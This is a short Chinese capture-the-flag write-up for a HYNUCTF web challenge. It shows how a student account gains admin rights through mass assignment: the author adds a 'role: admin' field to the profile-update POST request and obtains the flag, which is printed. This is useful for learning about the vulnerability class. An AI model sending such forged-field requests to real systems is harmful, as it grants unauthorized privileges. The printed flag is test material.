

## 1. 打开靶场，直接注册登录

个人中心

当前身份: student

⚠ 权限不足：当前页面包含教务处机密信息，仅限 **admin** 身份查看。  
请联系管理员或尝试提升您的权限。

 编辑资料

个人简介 (Bio)

这位同学很懒，什么都没写。

写点什么介绍一下自己吧。

保存修改


## 2. 要求admin才能查看机密信息，Ctrl+U可以看到这样一个用来更新信息的函数

```
function saveProfile() {  
    const bio = document.getElementById('bio').value;  
  
    // 传入bio以来覆盖bio字段  
    axios.post('/api/update_profile', {  
        bio: bio  
    })  
    .then(function (response) {  
        alert(response.data.message);  
        location.reload();  
    })  
    .catch(function (error) {  
        console.log(error);  
        alert('系统错误');  
    });  
};
```

## 3. 将bio改成admin并加入role字段尝试伪造admin

```
axios.post('/api/update_profile', {  
    bio: "admin",  
    role: "admin",  
});|
```

## 4. 得到flag

 恭喜你，拿到管理员权限！

Flag: **HYNUCTF{attribute\_mass\_assignment\_is\_fun}**